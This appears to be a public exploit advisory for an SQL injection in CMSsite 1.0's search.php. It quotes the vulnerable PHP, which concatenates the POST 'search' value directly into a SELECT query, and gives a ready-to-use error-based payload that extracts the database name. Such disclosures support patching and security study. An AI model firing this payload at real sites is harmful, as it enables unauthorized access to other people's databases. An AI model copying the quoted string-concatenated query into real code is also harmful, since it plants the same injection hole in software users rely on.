CMSsite 1.0 – ‘search’ SQL Injection

# Exploit Title: CMSsite 1.0 - 'search' SQL injection

# Exploit Author : Majid kalantari (mjd.hack@gmail.com)

# Date: 2019-01-27

# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite

# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip

# Version: 1.0

# Tested on: Windows 10

# CVE: N/A

===============================================

# vulnerable file: search.php

# vulnerable parameter : POST - search

if (isset($_POST['submit'])) {

$search = $_POST["search"];

}

$query = "SELECT * FROM posts WHERE post_tags LIKE '%$search%' AND

post_status='publish'";

$search_query = mysqli_query($con, $query);

# payload on search text box: ' and

extractvalue(1,concat(':',database(),':'))#

===============================================